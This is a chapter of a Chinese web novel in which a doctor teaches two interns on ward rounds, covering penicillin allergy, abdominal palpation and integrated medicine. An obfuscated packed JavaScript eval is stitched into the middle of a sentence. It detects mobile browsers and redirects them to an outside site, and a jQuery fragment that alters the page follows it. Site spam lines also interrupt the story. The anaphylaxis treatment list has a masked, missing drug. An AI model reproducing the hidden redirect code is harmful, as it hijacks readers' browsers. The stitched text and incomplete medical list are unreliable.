在学校里老师只会告诉他们肺炎要用青霉素。


    却从来没有一个老师会这样把化验单和临床症状掰开了、揉碎了告诉他们这背后的逻辑是什么。


    周逸尘又看向刘娟。


    “刘娟用青霉素最需要注意什么？”


    刘娟显然比王宇更紧张她捏着笔小声说：“要注意……过敏反应用之前要做皮试。”


    “对。”周逸尘点头肯定。


    “那如果病人出现了过敏性休克抢救措施是什么？”


    这个问题有点超纲了刘娟的脸一下子涨得通红支支吾吾答不上来。


    周逸尘没有催促也没有批评。


    他只是平静地说：“肾上腺素、**、保持呼吸道通畅、补充血容量。这几个要点要像刻在脑子里一样。”


    “回去把这部分内容抄十遍明天早上交给我。”


    “是周老师。”刘娟的头埋得更低了但眼睛里却透着一股劲儿。


    周逸尘这才合上病历夹跟张大爷道了别带着两人走向下一个病床。


    15床是个胃溃疡的病人。


    周逸尘照例先是详细问诊然后开始进行腹部触诊。


    他的手很稳按下去的力道由轻到重很有章法。


    “你们俩过来。”他招呼了一声。


    王宇和刘娟凑了过去。


    “你们也来按按看。”


    两人有些犹豫不敢下手。


    “别怕病人没那么脆弱。”周逸尘鼓励道“医生这双手不光是开药方、拿手术刀的更要学会去感受。”


    王宇先伸出手学着周逸尘的样子小心翼翼地按了下去。


    “有什么感觉？”周逸尘问。


    “感觉……他的肚子有点硬。”王宇不太确定地说。


    “这叫肌紧张是腹膜受到刺激的反应。”周逸尘解释道“现在你再试试这个位置上腹部剑突下偏左一点。”


    他引导着王宇的手。


    “这里按下去是不是感觉他疼得更厉害？”


    “是……是的。”王宇感觉到了病人细微的躲闪。


    “这就是压痛点。”


    周逸尘又看向刘娟“你来试试感受一下。”


    刘娟也上手试了一遍


    这种亲手触摸到的知识比书本上那些干巴巴的文字要深刻一百倍。


    一上午的查房就这样慢悠悠地进行着。


    你身边有不少朋友还没看到本章呢，快去给他们剧透吧


    周逸尘带着他们一个病人一个病人地看过去。


    他不像别的带教老师把实习生当成跟班的只让他们负责写病程记录。


    他走的每一步做的每一个诊断开的每一剂药都会停下来掰开了揉碎了讲给他们听。


    为什么这个病人要用这种药？


    为什么那个病人的体征需要特别关注？


    从诊断思路到用药原理再到临床观察的要点他讲得细致入微。


    他提问的方式也很特别总能一针见血地问到他们知识的盲区逼着他们去思考去把学过的东西串联起来。


    等到查完房回到办公室王宇和刘娟的笔记本上已经密密麻麻地记了好几页。


    两人坐在椅子上脑子里还在嗡嗡作响消化着今天学到的东西。


    这一个上午比他们在学校里上一星期的课收获还要大。


    康健民端着搪瓷缸子走进来看见两个实习生那副失魂落魄的样子乐了。


    “怎么第一天跟周老师查房被打击到了？”


    王宇和刘娟对视一眼都从对方眼中看到了惊喜。


    “康老师”王宇扶了扶眼镜语气无比认真地说“我们是觉得我们太幸运了。”


    康健民“嘿”了一声端着搪瓷缸子在自己位置上坐下喝了口热茶。


    “那可不小周这水平放市里大医院那也是挑大梁的。你们俩啊算是跟对人了。”


    周逸尘笑了笑把手里的病历夹放到桌上发出一声轻响。


    “康老师您就别捧我了。”


    他看向还站着的王宇和刘娟。


    “趁着这会儿有空也别光觉得幸运了。”


    “把你们的本子拿出来咱们再把刚才那两个病人过一遍。”


    王宇和刘娟立刻像听到了号令的士兵唰地一下坐直了身子翻开了笔记本。


    周逸尘拿起桌上的搪瓷缸子不紧不慢地喝了口水。


    “先说12床的张大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514723|180525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爷肺炎。”


    “除了我刚才在病房里讲的那些你们还看出了什么？”


    王宇扶了扶眼镜抢先回答：“周老师我注意到您不光问了他咳嗽、胸闷的情况还问了他这几天吃饭香不香晚上睡得好不好。”


    “嗯”周逸尘点了点头“为什么问这个？”


    “这个……”王宇卡壳了。


    这在教科书上可没写


    周逸尘没让他尴尬太久。


    恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的


    “西医治病，看的是菌，是炎症。我们用青霉素，就是对着肺炎链球菌去的，这没错。”


    “但人是个整体，不是一堆零件。”


    他用手指点了点桌子。


    “你想想，张大爷年纪大了，病了快一个礼拜，胃口肯定不好。胃口不好，吃得就少，人就没劲儿。”


    “人没劲儿，抵抗力就上不来，光靠药物，病好得就慢。”


    他看着两个若有所思的实习生，用最简单的话解释道：


    “中医里有句话，叫培土生金。”


    “肺属金，脾胃属土。脾胃功能弱了，肺自然就虚。你想让肺的功能快点恢复，就得先把脾胃这个土给它养好了。”


    “所以，我问他吃饭，就是在判断他的土怎么样。嘱咐他家人给他熬点小米粥喝，就是给他培土呢。”


    “中西医结合，不是让你把两种理论生搬硬套，而是把道理揉碎了，用在病人身上。”


    王宇和刘娟听得认真，手里的笔飞快地在笔记本上记着，生怕漏掉一个字。


    这些话，是他们在卫校的课堂上，永远也听不到的。


    【教学技能熟练度+3】


    周逸尘的脑海里，一行别人看不见的小字悄然划过。


    他没停，又把目光转向了刘娟。


    “刘娟，说说15床那个胃溃疡的病人。”


    “你上手按了，说说你手底下的感觉，越具体越好。”


    刘娟的脸颊微微泛红，她低头看着自己的笔记，回忆着当时的感觉。


    “就是……感觉肚子上的肉是绷着的，不像正常的肚子那么软。”